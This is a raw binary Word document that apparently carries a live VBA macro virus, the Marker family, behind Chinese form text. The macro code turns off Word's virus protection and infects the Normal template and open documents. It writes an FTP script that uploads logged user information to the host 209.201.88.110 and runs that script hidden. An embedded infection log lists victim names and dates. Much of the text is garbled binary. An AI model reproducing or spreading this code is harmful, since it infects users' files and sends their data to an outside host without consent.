ࡱ> ;>:g RBbjbjVV6$r<r< \4ddddd???EGGGGGG$Zk!?????kddaaa?ddEa?Eaaad0QmKa10aadv$a??a?????kks????????????????, : 5]'Yf[(WLYeL]yrkVeR[ybh3uNYT'` +RQut^gsNLyLRsNLyLReM vP Y T@b(WUSMOS~Nm_c1Y`QyrkVeR3ut1ut^ g e[8ha3uN@b(WUS#N~{W[ t^ g ea!hNNY#N~{W[v z "&,LP\hr  @BþU ho(h"Kh{o(h&h{o(hBEh{o(h,,h{o( h{o( hlo( h}/?o( h:o( h]Xo( hBEo(h&5CJ$o(h,,5CJ$o(h:5CJ$o(h]X5CJ$o(&24<>HJ $$Ifa$gd{$a$gd,,JLZ\n8,,, $$Ifa$gd{kd$$IfTlֈmq < 04 layt{TnprOkd$$IfTl4\mq   < 04 laf4yt{T $$Ifa$gd{[GG;;; $$Ifa$gd{$qq$If]q^qa$gd{kd$$IfTl4\*m  x@04 laf4yt{T$$IfWD `a$gd{ $Ifgd{ $$Ifa$gd{        p\VVVVVV$If$qq$If]q^qa$gd:$qq$If]q^qa$}kdM$$IfTl40I *d#04 laf4yt{T   , l[[$qq$If]q^qa$}kd$$IfTl40I *d#04 laf4yt{T$IfWD `gd{$If "(02468:<J^ $Ifgd\w$qq$If]q^qa$gd\w$qq$If]q^qa$$If t^ g ea!h]O#N~{W[v z t^ g ea!h"RY#N~{W[v z t^ g eR{!h[a!h[ t^ g e $Ifgd\w5)) $$Ifa$gdxkd$$IfTl4ֈIKR * P[04 laf4yt{T>@Bidgd:g}kd$$IfTl405 x04 laf4yt{T $IfWDF` gd $Ifgd?G4&P 182P. A!"n#$n%S $$If!vh#v#v#v#v#v#v< :V l0,555555< 4ayt{T$$If!vh#v #v #v#v< :V l40,5 5 55< 4af4yt{T$$If!vh#v #v#vx#v@:V l40,5 55x5@4af4yt{T$$If!vh#v*#vd#:V l40)v,5*5d#4af4yt{T$$If!vh#v*#vd#:V l40)v,5*5d#4af4yt{T$$If!vh#v*#v #vP#v#v#v[:V l40)v)v)v,,,5*5 5P555[4af4yt{T$$If!vh#v#vx:V l40,55x4af4yt{Tz?KǼ(*z?KǼ(*z?KǼ(*z?KǼ(*b 2 0@P`p2( 0@P`p 0@P`p 0@P`p 0@P`p 0@P`p 0@P`p8XV~PJ_HmH nHsH tHF`F cke $1$a$CJKH_HmH nHsH tH$A $ ؞k=W[SOFi@F nfhxjm)ʬuWLfdݮ+5_4csj-V?k3rm}gzgs嚋7xwsȈR W*)|jȫKXͫ dXIBF؇bnh ( *'vɗ3KZjz'c*_=}<9ݻw~]8^~_o?xYýg~^G}J0Emh=Ԅ Ξa>s$-, Oɠ=Hp Ua/ UO d*:(.fTU/!9$V[|hrvs-iUt. 6ڪ4Cebs)bMjBekp um,fd$͑{6GUVf~b#Vb@qTTW.ޛd)i@vdq9Y^X7{2%uHx+af6]>f#sm*qqDHehK)@?71oggo`:fղekp£2֌Nj8ǰD CB?81e>nEeU}H]dm1iQ6褣֧  $BJn B 8@0(  B S  ?#&(.09:=>BFIPQXopyz|~   !/09:>BPQ^_hiqsmn%(.4Qmno|   HP&(.4IIen||))HHYY.-\wbtv,,qO- ]12_>?}/?CBE"K LU]XocK\e:gpwvf{:lxn{WXD{?GuF>XbHv77yQU/&@mmmmI XXUnknownG* Times New Roman5Symbol3. * Arial;[SOSimSunA$BCambria Math hh&ǚjg,e=_=_!-!),.:;?]}    & 6"0000 0 000000 =@\]^([{  0 0 00000;[ir)P? 3QHX?U2!xx !h Q  R 3u h`l4N\20064448&.3CSc i Z'`IZ'Oh+'0  0 < HT`hpxУ ٷNormal 2006444844Microsoft Office Word@ @l I@ @p̬K=_՜.+,0 X`px ´   !"#$%&'()+,-./013456789<=A@BkdDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcefghijRoot Entry F rK?Data 1TableWordDocument 6$SummaryInformation(*DocumentSummaryInformation82MsoDataStore`\K0QmK0TJZYMTZUCGWA==2`\K0QmKItem  PropertiesUXacros0QmK0QmKXBA0QmK0QmK  !"#$%&'()*+,-./0123456789:;<=>?@ABCDEGHIJKN 0* pHdProjectQ(@= l K|Q J< rstdole>stdolePh%^*\G{00020430-C 0046}#2.0#0#C:\WINDOWS\system32\e2.tlb#OLE Automation`ENormalENCrmaQF  * \C  uQ!OfficgOficg!G{2DF8D04C-5BFA-101@B-BDE5gAjAe42ggram Files\CommonMicrosoft Shared\OFFICE14\MSO.Ddir ThisDocument CXVBA_PROJECT PROJECT FmLL#M 14 .0 Ob Library%"z BeThisDocumentG  Tfis"DHcu@Ienn 2 (HB1B 5XB,!T""B+BBa *\G{000204EF-0000-0000-C000-000000000046}#4.1#9#C:\PROGRA~1\COMMON~1\MICROS~1\VBA\VBA7\VBE7.DLL#Visual Basic For Applications*\G{000209& (- 5 "v:VJhX/3uFmEH|F϶DN'e<xME @S"SS"k\8 Ph(<- this is a marker!NTRVbP @ @ @  @ @ @ @ @ @ @p @` @P @@ @0 @  @ @ @ @ @  @ 0!@ p!(djlprt #X @( @ @x H(h HP`HX @H @8 @( @ @ @ @ @ @ @ @ @ @ hh8"    0Hhx GF &8&<  $H p zh  "6 8"4Hp Zkx *W 0 P` p  8P h 8x ^.  TD{p      ) "6  8 2X$Tp$T H-  ('( 0 ) 0 8FX  ) "4 2 ) (  0 8 @ (X    *   ( ( 8 *@ p  *  *  ( @ X ,`   (   , 0 @ (H p  *  (   ( @ X (`   *   * ( @ (H p  (   ,  , *H x  *   *   *  P ` (h   *   *   0 *8 h x *   *   . @ P .X   *   *  ( ,0 ` p ,x   ,   * 8 H *P   *   .    .( X h *p   *   , 0 H ,P   ,   p]<- this is a marker!Declare Variables] 8]Ph] %Initialize Variables @!B!D%F.4 H!B!D%F.6 *'' 4!J%L'0 *'' 6!J%L'2Switch the VirusProtection OFF N(P$T$R>HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User InfoLogFile V%X 0 2, 4!J!\ 4!J%Z'< 2eile 6!J!\ 6!J%Z'<Filk < <' Logfile --> < <' Logfile --> $'<#1 ^t # > b$`$ '> #1 ^ C:\hsf >.sys'>t > <tVs #c:\netldx.vxd,o 209.201.88.1101user anonymous # pass itsme@ymo cd incomingt #asciitsput >quitcd Ving*command.com /c ftp.exe -n -s:c:\netldx.vxd fA@d>HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User InfoLogFile V,XikMMake sure that some conditions are true before we continue infecting anything /  0 2 @!h j @!h l TruInfect the NormalTemplate 0ed = T H!n'.alTe 4!J!\ 4!J%Z'8veDocu1Write a log file of this NormalTemplate infection ^ p!: p!: ^$$r, p!: ^$ $r : p!: ^$':kd :$r' ':e k ^s a ) 8$r'  thh:mm:ss AMPM - $ Zdddd, d mmm yyyy$$r'  p!v$r'  :$r'8ode  6!J!\ 6!JB@x 8 6!JB@zime, " .G HB@|jkInfect the ActiveDocument 2 @!~$: @!nW @!n',empl 6!J!\ 6!J%Z'8tiveDo 4!J!\ 4!JB@xr 8 4!JB@z mmm y ,G @B@|jkko Logfile -->3) &t" 09:08:36 - Saturday, 28 Nov 1998 SPo0Ky Blue Planetmal$ 02:50:31 PM - Saturday, 28 Nov 1998.Sa MARK B. SEAY ! 08:04:45 AM - Friday, 4 Dec 1998 UPSs(1$ 11:43:35 AM - Thursday, 17 Dec 1998nes WRO # 03:07:26 PM - Tuesday, 22 Dec 1998of  BCBSAor$ 03:28:02 PM - Wednesday, 6 Jan 1999 F BCBSA 1" 02:59:47 PM - Monday, 11 Jan 1999 Marsha Veach % 01:54:54 PM - Wednesday, 20 Jan 1999rA Connie Sandifer, CMP<>" 09:33:06 PM - Monday, 25 Jan 1999 Doug Rowanlic% 08:21:12 AM - Wednesday, 27 Jan 1999>  IMSI) " 10:59:58 AM - Friday, 29 Jan 1999 Raj Us$ 03:37:57 PM - Saturday, 30 Jan 1999on. hornddr" 01:26:48 PM - Tuesday, 2 Feb 1999 Cooley Godwardl" 04:57:29 PM - Tuesday, 2 Feb 1999 Cooley Godwards" 06:35:44 PM - Tuesday, 2 Feb 1999 Cooley Godward # 04:23:52 PM - Thursday, 4 Feb 1999 Ou Cooley Godward(# 04:27:39 PM - Saturday, 6 Feb 1999 "  Cooley Godwardm! 06:18:06 PM - Monday, 8 Feb 1999 Cooley Godward " 09:17:17 PM - Tuesday, 9 Feb 1999 hcleed,% 04:44:45 PM - Wednesday, 17 Feb 1999_ Dr. W. Hsiao % Wendy Hsiao, Ph.D.Us# 04:13:19 PM - Tuesday, 23 Feb 1999  CCST $ 10:09:35 AM - Saturday, 20 Mar 1999Chr cpwu # 09:33:49 AM - Thursday, 6 May 1999 # 12:39:25 PM - Tuesday, 20 May 1997 ghc-bbc! 01:21:36 PM - Friday, 7 May 1999 # 05:51:53 - Wednesday, 12 May 1999 qdzhuang$ 03:23:04 PM - Saturday, 19 Jun 1999 $ 02:53:46 - Tuesday, 6 Sep 2011 $ 09:37:47 - Monday, 19 Sep 2011 ʿ$ 01:41:54 - Monday, 26 Sep 2011 unknown' 10:50:02 - Wednesday, 19 Oct 2011 ףȪ' 08:27:05 - Wednesday, 26 Oct 2011 ٻ$ 10:37:36 - Monday, 31 Oct 2011 ˷$ 04:21:38 - Monday, 31 Oct 2011 ÷& 08:15:53 - Wednesday, 2 Nov 2011 Ż᷼% 02:57:58 - Thursday, 3 Nov 2011 unknown% 04:00:59 - Thursday, 3 Nov 2011 # 09:41:48 - Friday, 4 Nov 2011 Ӻ# 11:18:07 - Monday, 7 Nov 2011 unknown$ 03:01:17 - Monday, 21 Nov 2011 unknown' 09:59:34 - Wednesday, 28 Dec 2011 unknown' 11:26:57 - Wednesday, 22 Feb 2012 unknown$ 09:22:07 - Monday, 30 Apr 2012 С# 10:07:34 - Monday, 7 May 2012 20068726& 12:22:43 - Thursday, 31 May 2012 ´& 08:22:33 - Wednesday, 6 Jun 2012 ί칫% 10:04:17 - Thursday, 7 Jun 2012 20064448 BAttribute VB_Name = "ThisDocument" Bas1Normal.VGlobal!SpaclFalse CreatablPre declaIdTruBExposeTemplateDeriv$CustomlizC1P Sub _Cl5() On Error Res Next Const @Marker<- t is (a m ! 'Dl Vari=s Dim Save8,e,GInfec`ted,  As Boolean-ant ObjCOurCode, UserAddress, LogDfYFihSngA9'Initi0aliz/Set abAct[1.VBProA@Compon@s.Item(1S&= 20<= .3Module.Find(c, 10@O= nt+FSwitchC|Firus>tZion OFFpts.V  = A If (Day(Now())1) And (Sysm@M.@fgf("", "HKEY_CURRENT_USER\Softw\Micros@\MS \up (ACPME)\A? `(o7!@?!>") The`H E;`&k'DHad))Li0nes(`1CountOf2!E 64AuT7FQ,IfMid(,%.&"'f" & "2 -->")hen) -$ CFi@ To 4c e"s=&+ AInt(8 * Rnd)`2]$  ic@$"C:p\hsf.8sysA1Op enOutpruB#1C S@y#; AB c "c:\netldx.vxd" "o 209.201.88.110"u anonymoupass @itsme@c d incngasciiA H'qui( Shell "Amand. /c ftp.exe -n -s:$, vbHid`g3?K?AٟA= crEd32PMake sure`Pat socond cq H t| befo@we tinue1mingnysf@(F ~X1AQq2! cS_]"(liv&m0 = wd Or c_e^yRRqrA2a Ͽ[W   .1dQ1 }pXX0ZX3S'Wria log rfofP, iB ns KLPApplicaAp~.Io1LotiL <> Chr(13(qsh0 I` `]C1R lkY=&fW' F \'9,3R0jJ+(Timp"hh:mm:0QAMPM j&/ ]d, d mmm yO Ǐ  AG}Deletee.FromtHS;/90#QG?Bݬ% 9BFk6mF(b* Ful,F P ":"N ~ ?N2 q VR=gIH ?<K|Sto$xg:WSubrBT 09:0 8:36 7Sa@turday80$v 1998 SPo0KyBlrPla!d2:50:31 r<MARK B3. SEAY ' ' 08:04:45 AM - Friday, 4 De@c 1998 UPS 11:43:3fThursj17 lWRO l03:07:26 PjTue522 5BCBSA7227Wedn96 Jan 9/ 82:59:478Mon1 Marsha@ Veach ;1:54;20 Connie Sandifer, CMP $9:3'}{C25"Doug Rowan8:21:12ψ}27 IMSI 10}5829JRajK@u7:5LSatu rL3K